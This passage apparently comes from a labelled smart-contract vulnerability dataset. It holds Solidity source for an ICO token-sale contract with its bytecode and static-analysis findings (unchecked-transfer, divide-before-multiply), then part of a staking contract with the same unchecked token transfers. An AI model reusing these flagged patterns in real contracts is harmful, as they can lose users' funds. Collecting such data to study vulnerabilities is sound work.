public presalesCap = 120000000 * (1e18); uint256 public publicsalesCap = 350000000 * (1e18); //token price for each round uint256 public presalesTokenPriceInWei = 80000000000000 ; // 0.00008 ether; uint256 public publicsalesTokenPriceInWei = 196000000000000 ;// 0.000196 ether; // address where all funds collected from token sale are stored , this will ideally be address of MutliSig wallet address wallet; // amount of raised money in wei uint256 public weiRaised=0; //amount of tokens sold uint256 public numberOfTokensAllocated=0; // maximum gas price for contribution transactions - 60 GWEI uint256 public maxGasPrice = 60000000000 wei; // The token being sold RailzToken public token; bool hasPreTokenSalesCapReached = false; bool hasTokenSalesCapReached = false; // events for funds received and tokens event ContributionReceived(address indexed contributor, uint256 value, uint256 numberOfTokens); event TokensTransferred(address indexed contributor, uint256 numberOfTokensTransferred); event ManualTokensTransferred(address indexed contributor, uint256 numberOfTokensTransferred); event PreTokenSalesCapReached(address indexed contributor); event TokenSalesCapReached(address indexed contributor); function RailzTokenSale(RailzToken _addressOfRewardToken, address _wallet) public { require(presalestartTime >= now); require(_wallet != address(0)); token = RailzToken (_addressOfRewardToken); wallet = _wallet; owner = msg.sender; } // verifies that the gas price is lower than max gas price modifier validGasPrice() { assert(tx.gasprice <= maxGasPrice); _; } // fallback function used to buy tokens , this function is called when anyone sends ether to this contract function () payable public validGasPrice { require(msg.sender != address(0)); //contributor's address should not be zero00/80 require(msg.value != 0); //amount should be greater then zero require(msg.value>=0.1 ether); //minimum contribution is 0.1 eth require(isContributionAllowed()); //Valid time of contribution and cap has not been reached 11 // Add to mapping of contributor contributors[msg.sender] = contributors[msg.sender].add(msg.value); weiRaised = weiRaised.add(msg.value); uint256 numberOfTokens = 0; //calculate number of tokens to be given if (isPreTokenSaleActive()) { numberOfTokens = msg.value/presalesTokenPriceInWei; numberOfTokens = numberOfTokens * (1e18); require((numberOfTokens + numberOfTokensAllocated) <= presalesCap); //Check whether remaining tokens are greater than tokens to allocate tokensAllocated[msg.sender] = tokensAllocated[msg.sender].add(numberOfTokens); numberOfTokensAllocated = numberOfTokensAllocated.add(numberOfTokens); //forward fund received to Railz multisig Account forwardFunds(); //Notify server that an contribution has been received emit ContributionReceived(msg.sender, msg.value, numberOfTokens); } else if (isTokenSaleActive()) { numberOfTokens = msg.value/publicsalesTokenPriceInWei; numberOfTokens = numberOfTokens * (1e18); require((numberOfTokens + numberOfTokensAllocated) <= (presalesCap + publicsalesCap)); //Check whether remaining tokens are greater than tokens to allocate tokensAllocated[msg.sender] = tokensAllocated[msg.sender].add(numberOfTokens); numberOfTokensAllocated = numberOfTokensAllocated.add(numberOfTokens); //forward fund received to Railz multisig Account forwardFunds(); //Notify server that an contribution has been received emit ContributionReceived(msg.sender, msg.value, numberOfTokens); } // check if hard cap has been reached or not , if it has reached close the contract checkifCapHasReached(); } /** * This function is used to check if an contribution is allowed or not */ function isContributionAllowed() public view returns (bool) { if (isPreTokenSaleActive()) return (!hasPreTokenSalesCapReached); else if (isTokenSaleActive()) return (!hasTokenSalesCapReached); else return false; } // send ether to the fund collection wallet , this ideally would be an multisig wallet function forwardFunds() internal { wallet.transfer(msg.value); } //Pre Token Sale time function isPreTokenSaleActive() internal view returns (bool) { return ((now >= presalestartTime) && (now <= presaleendTime)); } //Token Sale time function isTokenSaleActive() internal view returns (bool) { return (now >= (publicsalestartTime) && (now <= publicsalesendTime)); } // Called by owner when preico token cap has been reached function preTokenSalesCapReached() internal { hasPreTokenSalesCapReached = true; emit PreTokenSalesCapReached(msg.sender); } // Called by owner when ico token cap has been reached function tokenSalesCapReached() internal { hasTokenSalesCapReached = true; emit TokenSalesCapReached(msg.sender); } //This function is used to transfer token to contributor after successful audit function transferToken(address _contributor) public onlyOwner { require(_contributor != 0); uint256 numberOfTokens = tokensAllocated[_contributor]; tokensAllocated[_contributor] = 0; token.transfer(_contributor, numberOfTokens); emit TokensTransferred(_contributor, numberOfTokens); } //This function is used to do bulk transfer token to contributor after successful audit manually function manualBatchTransferToken(uint256[] amount, address[] wallets) public onlyOwner { for (uint256 i = 0; i < wallets.length; i++) { token.transfer(wallets[i], amount[i]); emit TokensTransferred(wallets[i], amount[i]); } } //This function is used to do bulk transfer token to contributor after successful audit function batchTransferToken(address[] wallets) public onlyOwner { for (uint256 i = 0; i < wallets.length; i++) { uint256 amountOfTokens = tokensAllocated[wallets[i]]; require(amountOfTokens > 0); tokensAllocated[wallets[i]]=0; token.transfer(wallets[i], amountOfTokens); emit TokensTransferred(wallets[i], amountOfTokens); } } //This function is used refund contribution of a contributor in case soft cap is not reached or audit of an contributor failed function refundContribution(address _contributor, uint256 _weiAmount) public onlyOwner returns (bool) { require(_contributor != 0); if (!_contributor.send(_weiAmount)) { return false; } else { contributors[_contributor] = 0; return true; } } // This function check whether ICO is currently active or not function checkifCapHasReached() internal { if (isPreTokenSaleActive() && (numberOfTokensAllocated > presalesCap)) hasPreTokenSalesCapReached = true; else if (isTokenSaleActive() && (numberOfTokensAllocated > (presalesCap + publicsalesCap))) hasTokenSalesCapReached = true; } //This function allows the owner to update the gas price limit public onlyOwner function setGasPrice(uint256 _gasPrice) public onlyOwner { maxGasPrice = _gasPrice; } }
0x608060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063164745c514610512578063230614fb1461053d578063364e1c59146105a35780633de39c11146105ce5780634042b66f146105f957806349e9449a14610624578063581d10151461064f5780635ad35ac01461067a5780635b6accb2146106a55780635e5714401461074e5780637159271d146107795780638da5cb5b146107a45780639c24654c146107fb578063ae1133de14610826578063b25ba6a71461087d578063ba2e84f9146108e2578063bf1fe4201461090d578063deebeac91461093a578063df32754b1461097d578063eb94eecb14610994578063f2fde38b146109c3578063fc0c546a14610a06575b6000600e543a1115151561013857fe5b600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415151561017457600080fd5b6000341415151561018457600080fd5b67016345785d8a0000341015151561019b57600080fd5b6101a3610a5d565b15156101ae57600080fd5b61020034600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ab190919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061025834600c54610ab190919063ffffffff16565b600c819055506000905061026a610acf565b156103b4576009543481151561027c57fe5b049050670de0b6b3a764000081029050600754600d548201111515156102a157600080fd5b6102f381600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ab190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061034b81600d54610ab190919063ffffffff16565b600d81905550610359610aea565b3373ffffffffffffffffffffffffffffffffffffffff167fd2dff949d20e874cc6ba1dcefb840fb8cf6000a4197bfb69accfea5a32443ff53483604051808381526020018281526020019250505060405180910390a2610507565b6103bc610b55565b1561050657600a54348115156103ce57fe5b049050670de0b6b3a76400008102905060085460075401600d548201111515156103f757600080fd5b61044981600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ab190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506104a181600d54610ab190919063ffffffff16565b600d819055506104af610aea565b3373ffffffffffffffffffffffffffffffffffffffff167fd2dff949d20e874cc6ba1dcefb840fb8cf6000a4197bfb69accfea5a32443ff53483604051808381526020018281526020019250505060405180910390a25b5b61050f610b70565b50005b34801561051e57600080fd5b50610527610beb565b6040518082815260200191505060405180910390f35b34801561054957600080fd5b506105a160048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050610bf1565b005b3480156105af57600080fd5b506105b8610eb0565b6040518082815260200191505060405180910390f35b3480156105da57600080fd5b506105e3610eb6565b6040518082815260200191505060405180910390f35b34801561060557600080fd5b5061060e610ebc565b6040518082815260200191505060405180910390f35b34801561063057600080fd5b50610639610ec2565b6040518082815260200191505060405180910390f35b34801561065b57600080fd5b50610664610ec8565b6040518082815260200191505060405180910390f35b34801561068657600080fd5b5061068f610ece565b6040518082815260200191505060405180910390f35b3480156106b157600080fd5b5061074c6004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050610ed4565b005b34801561075a57600080fd5b506107636110fc565b6040518082815260200191505060405180910390f35b34801561078557600080fd5b5061078e611102565b6040518082815260200191505060405180910390f35b3480156107b057600080fd5b506107b9611108565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561080757600080fd5b5061081061112d565b6040518082815260200191505060405180910390f35b34801561083257600080fd5b50610867600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611133565b6040518082815260200191505060405180910390f35b34801561088957600080fd5b506108c8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061114b565b604051808215151515815260200191505060405180910390f35b3480156108ee57600080fd5b506108f7611262565b6040518082815260200191505060405180910390f35b34801561091957600080fd5b5061093860048036038101908080359060200190929190505050611268565b005b34801561094657600080fd5b5061097b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112cd565b005b34801561098957600080fd5b5061099261152a565b005b3480156109a057600080fd5b506109a9610a5d565b604051808215151515815260200191505060405180910390f35b3480156109cf57600080fd5b50610a04600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061156c565b005b348015610a1257600080fd5b50610a1b61160a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000610a67610acf565b15610a8457600f60149054906101000a900460ff16159050610aae565b610a8c610b55565b15610aa957600f60159054906101000a900460ff16159050610aae565b600090505b90565b6000808284019050838110151515610ac557fe5b8091505092915050565b60006003544210158015610ae557506004544211155b905090565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610b52573d6000803e3d6000fd5b50565b60006005544210158015610b6b57506006544211155b905090565b610b78610acf565b8015610b875750600754600d54115b15610bac576001600f60146101000a81548160ff021916908315150217905550610be9565b610bb4610b55565b8015610bc7575060085460075401600d54115b15610be8576001600f60156101000a81548160ff0219169083151502179055505b5b565b60045481565b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c4f57600080fd5b600091505b8251821015610eab57600260008484815181101515610c6f57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600081111515610cc557600080fd5b6000600260008585815181101515610cd957fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8484815181101515610d6d57fe5b90602001906020020151836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610dfd57600080fd5b505af1158015610e11573d6000803e3d6000fd5b505050506040513d6020811015610e2757600080fd5b8101908080519060200190929190505050508282815181101515610e4757fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167f12f4533b5cbd2c9f8a0752a2d0b16379af992dbb2a0844a5007a19d983b3a934826040518082815260200191505060405180910390a28180600101925050610c54565b505050565b60065481565b600e5481565b600c5481565b60075481565b600a5481565b600d5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f3157600080fd5b600090505b81518110156110f757600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8383815181101515610f8b57fe5b906020019060200201518584815181101515610fa357fe5b906020019060200201516040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561103257600080fd5b505af1158015611046573d6000803e3d6000fd5b505050506040513d602081101561105c57600080fd5b810190808051906020019092919050505050818181518110151561107c57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167f12f4533b5cbd2c9f8a0752a2d0b16379af992dbb2a0844a5007a19d983b3a93484838151811015156110cb57fe5b906020019060200201516040518082815260200191505060405180910390a28080600101915050610f36565b505050565b60095481565b60055481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60035481565b60026020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111a857600080fd5b60008373ffffffffffffffffffffffffffffffffffffffff16141515156111ce57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501515611212576000905061125c565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600190505b92915050565b60085481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112c357600080fd5b80600e8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561132a57600080fd5b60008273ffffffffffffffffffffffffffffffffffffffff161415151561135057600080fd5b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561149c57600080fd5b505af11580156114b0573d6000803e3d6000fd5b505050506040513d60208110156114c657600080fd5b8101908080519060200190929190505050508173ffffffffffffffffffffffffffffffffffffffff167f12f4533b5cbd2c9f8a0752a2d0b16379af992dbb2a0844a5007a19d983b3a934826040518082815260200191505060405180910390a25050565b336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156115c757600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16815600a165627a7a72305820a309df13593496e2019eaae7635291eaa3bee3d883e80e49df16378ceed87a260029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
8,896
0x005685a5a1889fc7bfc3e9c11657703a67fb663b
/** *Submitted for verification at Etherscan.io on 2021-09-07 */ pragma solidity ^0.4.24; /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256){ if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b,"Calculation error in multiplication"); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256){ // Solidity only automatically asserts when dividing by 0 require(b > 0,"Calculation error in division"); uint256 c = a / b; return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256){ require(b <= a,"Calculation error in subtraction"); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256){ uint256 c = a + b; require(c >= a,"Calculation error in addition"); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256){ require(b != 0,"Calculation error"); return a % b; } } /** * @title IToken * @dev Contract interface for token contract */ contract IToken { function totalSupply() public pure returns (uint256); function balanceOf(address) public pure returns (uint256); function allowance(address, address) public pure returns (uint256); function transfer(address, uint256) public pure returns (bool); function transferFrom(address, address, uint256) public pure returns (bool); function approve(address, uint256) public pure returns (bool); } /** * @title CoretoStaking * @dev Staking Contract for token staking */ contract CoretoStaking { using SafeMath for uint256; address private _owner; // variable for Owner of the Contract. uint256 private _withdrawTime; // variable to manage withdraw time for token uint256 constant public PERIOD_SERENITY = 90; // variable constant for time period management for serenity pool uint256 constant public PERIOD_EQUILIBRIUM = 180; // variable constant for time period management for equilibrium pool uint256 constant public PERIOD_TRANQUILLITY = 270; // variable constant for time period management for tranquillity pool uint256 constant public WITHDRAW_TIME_SERENITY = 45 * 1 days; // variable constant to manage withdraw time lock up for serenity uint256 constant public WITHDRAW_TIME_EQUILIBRIUM = 90 * 1 days; // variable constant to manage withdraw time lock up for equilibrium uint256 constant public WITHDRAW_TIME_TRANQUILLITY = 135 * 1 days; // variable constant to manage withdraw time lock up for tranquillity uint256 constant public TOKEN_REWARD_PERCENT_SERENITY = 3555807; // variable constant to manage token reward percentage for serenity uint256 constant public TOKEN_REWARD_PERCENT_EQUILIBRIUM = 10905365; // variable constant to manage token reward percentage for equilibrium uint256 constant public TOKEN_REWARD_PERCENT_TRANQUILLITY = 26010053; // variable constant to manage token reward percentage for tranquillity uint256 constant public TOKEN_PENALTY_PERCENT_SERENITY = 2411368; // variable constant to manage token penalty percentage for serenity uint256 constant public TOKEN_PENALTY_PERCENT_EQUILIBRIUM = 7238052; // variable constant to manage token penalty percentage for equilibrium uint256 constant public TOKEN_PENALTY_PERCENT_TRANQUILLITY = 14692434; // variable constant to manage token penalty percentage for tranquillity uint256 constant public TOKEN_POOL_CAP = 25000000*(10**18); // variable constant to store maximaum pool cap value // events to handle staking pause or unpause for token event Paused(); event Unpaused(); /* * --------------------------------------------------------------------------------------------------------------------------- * Functions for owner. * --------------------------------------------------------------------------------------------------------------------------- */ /** * @dev get address of smart contract owner * @return address of owner */ function getowner() public view returns (address) { return _owner; } /** * @dev modifier to check if the message sender is owner */ modifier onlyOwner() { require(isOwner(),"You are not authenticate to make this transfer"); _; } /** * @dev Internal function for modifier */ function isOwner() internal view returns (bool) { return msg.sender == _owner; } /** * @dev Transfer ownership of the smart contract. For owner only * @return request status */ function transferOwnership(address newOwner) public onlyOwner returns (bool){ _owner = newOwner; return true; } /* * --------------------------------------------------------------------------------------------------------------------------- * Functionality of Constructor and Interface * --------------------------------------------------------------------------------------------------------------------------- */ // constructor to declare owner of the contract during time of deploy constructor() public { _owner = msg.sender; } // Interface declaration for contract IToken itoken; // function to set Contract Address for Token Functions function setContractAddress(address tokenContractAddress) external onlyOwner returns(bool){ itoken = IToken(tokenContractAddress); return true; } /* * ---------------------------------------------------------------------------------------------------------------------------- * Owner functions of get value, set value and other Functionality * ---------------------------------------------------------------------------------------------------------------------------- */ // function to add token reward in contract function addTokenReward(uint256 token) external onlyOwner returns(bool){ _ownerTokenAllowance = _ownerTokenAllowance.add(token); itoken.transferFrom(msg.sender, address(this), token); return true; } // function to withdraw added token reward in contract function withdrawAddedTokenReward(uint256 token) external onlyOwner returns(bool){ require(token < _ownerTokenAllowance,"Value is not feasible, Please Try Again!!!"); _ownerTokenAllowance = _ownerTokenAllowance.sub(token); itoken.transfer(msg.sender, token); return true; } // function to get token reward in contract function getTokenReward() public view returns(uint256){ return _ownerTokenAllowance; } // function to pause Token Staking function pauseTokenStaking() public onlyOwner { tokenPaused = true; emit Paused(); } // function to unpause Token Staking function unpauseTokenStaking() public onlyOwner { tokenPaused = false; emit Unpaused(); } /* * ---------------------------------------------------------------------------------------------------------------------------- * Variable, Mapping for Token Staking Functionality * ---------------------------------------------------------------------------------------------------------------------------- */ // mapping for users with id => address Staking Address mapping (uint256 => address) private _tokenStakingAddress; // mapping for users with address => id staking id mapping (address => uint256[]) private _tokenStakingId; // mapping for users with id => Staking Time mapping (uint256 => uint256) private _tokenStakingStartTime; // mapping for users with id => End Time mapping (uint256 => uint256) private _tokenStakingEndTime; // mapping for users with id => Tokens mapping (uint256 => uint256) private _usersTokens; // mapping for users with id => Status mapping (uint256 => bool) private _TokenTransactionstatus; // mapping to keep track of final withdraw value of staked token mapping(uint256=>uint256) private _finalTokenStakeWithdraw; // mapping to keep track total number of staking days mapping(uint256=>uint256) private _tokenTotalDays; // variable to keep count of Token Staking uint256 private _tokenStakingCount = 0; // variable to keep track on reward added by owner uint256 private _ownerTokenAllowance = 0; // variable for token time management uint256 private _tokentime; // variable for token staking pause and unpause mechanism bool public tokenPaused = false; // variable for total Token staked by user uint256 public totalStakedToken = 0; // variable for total stake token in contract uint256 public totalTokenStakesInContract = 0; // variable for total stake token in a pool uint256 public totalStakedTokenInSerenityPool = 0; // variable for total stake token in a pool uint256 public totalStakedTokenInEquilibriumPool = 0; // variable for total stake token in a pool uint256 public totalStakedTokenInTranquillityPool = 0; // modifier to check the user for staking || Re-enterance Guard modifier tokenStakeCheck(uint256 tokens, uint256 timePeriod){ require(tokens > 0, "Invalid Token Amount, Please Try Again!!! "); require(timePeriod == PERIOD_SERENITY || timePeriod == PERIOD_EQUILIBRIUM || timePeriod == PERIOD_TRANQUILLITY, "Enter the Valid Time Period and Try Again !!!"); _; } /* * ------------------------------------------------------------------------------------------------------------------------------ * Functions for Token Staking Functionality * ------------------------------------------------------------------------------------------------------------------------------ */ // function to performs staking for user tokens for a specific period of time function stakeToken(uint256 tokens, uint256 time) public tokenStakeCheck(tokens, time) returns(bool){ require(tokenPaused == false, "Staking is Paused, Please try after staking get unpaused!!!"); if(time == PERIOD_SERENITY){ require(totalStakedTokenInSerenityPool.add(tokens) <= TOKEN_POOL_CAP, "Serenity Pool Limit Reached"); _tokentime = now + (time * 1 days); _tokenStakingCount = _tokenStakingCount +1; _tokenTotalDays[_tokenStakingCount] = time; _tokenStakingAddress[_tokenStakingCount] = msg.sender; _tokenStakingId[msg.sender].push(_tokenStakingCount); _tokenStakingEndTime[_tokenStakingCount] = _tokentime; _tokenStakingStartTime[_tokenStakingCount] = now; _usersTokens[_tokenStakingCount] = tokens; _TokenTransactionstatus[_tokenStakingCount] = false; totalStakedToken = totalStakedToken.add(tokens); totalTokenStakesInContract = totalTokenStakesInContract.add(tokens); totalStakedTokenInSerenityPool = totalStakedTokenInSerenityPool.add(tokens); itoken.transferFrom(msg.sender, address(this), tokens); } else if (time == PERIOD_EQUILIBRIUM) { require(totalStakedTokenInEquilibriumPool.add(tokens) <= TOKEN_POOL_CAP, "Equilibrium Pool Limit Reached"); _tokentime = now + (time * 1 days); _tokenStakingCount = _tokenStakingCount +1; _tokenTotalDays[_tokenStakingCount] = time; _tokenStakingAddress[_tokenStakingCount] = msg.sender; _tokenStakingId[msg.sender].push(_tokenStakingCount); _tokenStakingEndTime[_tokenStakingCount] = _tokentime; _tokenStakingStartTime[_tokenStakingCount] = now; _usersTokens[_tokenStakingCount] = tokens; _TokenTransactionstatus[_tokenStakingCount] = false; totalStakedToken = totalStakedToken.add(tokens); totalTokenStakesInContract = totalTokenStakesInContract.add(tokens); totalStakedTokenInEquilibriumPool = totalStakedTokenInEquilibriumPool.add(tokens); itoken.transferFrom(msg.sender, address(this), tokens); } else if(time == PERIOD_TRANQUILLITY) { require(totalStakedTokenInTranquillityPool.add(tokens) <= TOKEN_POOL_CAP, "Tranquillity Pool Limit Reached"); _tokentime = now + (time * 1 days); _tokenStakingCount = _tokenStakingCount +1; _tokenTotalDays[_tokenStakingCount] = time; _tokenStakingAddress[_tokenStakingCount] = msg.sender; _tokenStakingId[msg.sender].push(_tokenStakingCount); _tokenStakingEndTime[_tokenStakingCount] = _tokentime; _tokenStakingStartTime[_tokenStakingCount] = now; _usersTokens[_tokenStakingCount] = tokens; _TokenTransactionstatus[_tokenStakingCount] = false; totalStakedToken = totalStakedToken.add(tokens); totalTokenStakesInContract = totalTokenStakesInContract.add(tokens); totalStakedTokenInTranquillityPool = totalStakedTokenInTranquillityPool.add(tokens); itoken.transferFrom(msg.sender, address(this), tokens); } else { return false; } return true; } // function to get staking count for token function getTokenStakingCount() public view returns(uint256){ return _tokenStakingCount; } // function to get total Staked tokens function getTotalStakedToken() public view returns(uint256){ return totalStakedToken; } // function to calculate reward for the message sender for token function getTokenRewardDetailsByStakingId(uint256 id) public view returns(uint256){ if(_tokenTotalDays[id] == PERIOD_SERENITY) { return (_usersTokens[id]*TOKEN_REWARD_PERCENT_SERENITY/100000000); } else if(_tokenTotalDays[id] == PERIOD_EQUILIBRIUM) { return (_usersTokens[id]*TOKEN_REWARD_PERCENT_EQUILIBRIUM/100000000); } else if(_tokenTotalDays[id] == PERIOD_TRANQUILLITY) { return (_usersTokens[id]*TOKEN_REWARD_PERCENT_TRANQUILLITY/100000000); } else{ return 0; } } // function to calculate penalty for the message sender for token function getTokenPenaltyDetailByStakingId(uint256 id) public view returns(uint256){ if(_tokenStakingEndTime[id] > now){ if(_tokenTotalDays[id]==PERIOD_SERENITY){ return (_usersTokens[id]*TOKEN_PENALTY_PERCENT_SERENITY/100000000); } else if(_tokenTotalDays[id] == PERIOD_EQUILIBRIUM) { return (_usersTokens[id]*TOKEN_PENALTY_PERCENT_EQUILIBRIUM/100000000); } else if(_tokenTotalDays[id] == PERIOD_TRANQUILLITY) { return (_usersTokens[id]*TOKEN_PENALTY_PERCENT_TRANQUILLITY/100000000); } else { return 0; } } else{ return 0; } } // function to withdraw staked tokens function withdrawStakedTokens(uint256 stakingId) public returns(bool) { require(_tokenStakingAddress[stakingId] == msg.sender,"No staked token found on this address and ID"); require(_TokenTransactionstatus[stakingId] != true,"Either tokens are already withdrawn or blocked by admin"); if(_tokenTotalDays[stakingId] == PERIOD_SERENITY){ require(now >= _tokenStakingStartTime[stakingId] + WITHDRAW_TIME_SERENITY, "Unable to Withdraw Staked token before 45 days of staking start time, Please Try Again Later!!!"); _TokenTransactionstatus[stakingId] = true; if(now >= _tokenStakingEndTime[stakingId]){ _finalTokenStakeWithdraw[stakingId] = _usersTokens[stakingId].add(getTokenRewardDetailsByStakingId(stakingId)); itoken.transfer(msg.sender,_finalTokenStakeWithdraw[stakingId]); totalTokenStakesInContract = totalTokenStakesInContract.sub(_usersTokens[stakingId]); totalStakedTokenInSerenityPool = totalStakedTokenInSerenityPool.sub(_usersTokens[stakingId]); _ownerTokenAllowance = _ownerTokenAllowance.sub(getTokenRewardDetailsByStakingId(stakingId)); } else { _finalTokenStakeWithdraw[stakingId] = _usersTokens[stakingId].add(getTokenPenaltyDetailByStakingId(stakingId)); itoken.transfer(msg.sender,_finalTokenStakeWithdraw[stakingId]); totalTokenStakesInContract = totalTokenStakesInContract.sub(_usersTokens[stakingId]); totalStakedTokenInSerenityPool = totalStakedTokenInSerenityPool.sub(_usersTokens[stakingId]); _ownerTokenAllowance = _ownerTokenAllowance.sub(getTokenPenaltyDetailByStakingId(stakingId)); } } else if(_tokenTotalDays[stakingId] == PERIOD_EQUILIBRIUM){ require(now >= _tokenStakingStartTime[stakingId] + WITHDRAW_TIME_EQUILIBRIUM, "Unable to Withdraw Staked token before 90 days of staking start time, Please Try Again Later!!!"); _TokenTransactionstatus[stakingId] = true; if(now >= _tokenStakingEndTime[stakingId]){ _finalTokenStakeWithdraw[stakingId] = _usersTokens[stakingId].add(getTokenRewardDetailsByStakingId(stakingId)); itoken.transfer(msg.sender,_finalTokenStakeWithdraw[stakingId]); totalTokenStakesInContract = totalTokenStakesInContract.sub(_usersTokens[stakingId]); totalStakedTokenInEquilibriumPool = totalStakedTokenInEquilibriumPool.sub(_usersTokens[stakingId]); _ownerTokenAllowance = _ownerTokenAllowance.sub(getTokenRewardDetailsByStakingId(stakingId)); } else { _finalTokenStakeWithdraw[stakingId] = _usersTokens[stakingId].add(getTokenPenaltyDetailByStakingId(stakingId)); itoken.transfer(msg.sender,_finalTokenStakeWithdraw[stakingId]); totalTokenStakesInContract = totalTokenStakesInContract.sub(_usersTokens[stakingId]); totalStakedTokenInEquilibriumPool = totalStakedTokenInEquilibriumPool.sub(_usersTokens[stakingId]); _ownerTokenAllowance = _ownerTokenAllowance.sub(getTokenPenaltyDetailByStakingId(stakingId)); } } else if(_tokenTotalDays[stakingId] == PERIOD_TRANQUILLITY){ require(now >= _tokenStakingStartTime[stakingId] + WITHDRAW_TIME_TRANQUILLITY, "Unable to Withdraw Staked token before 135 days of staking start time, Please Try Again Later!!!"); _TokenTransactionstatus[stakingId] = true; if(now >= _tokenStakingEndTime[stakingId]){ _finalTokenStakeWithdraw[stakingId] = _usersTokens[stakingId].add(getTokenRewardDetailsByStakingId(stakingId)); itoken.transfer(msg.sender,_finalTokenStakeWithdraw[stakingId]); totalTokenStakesInContract = 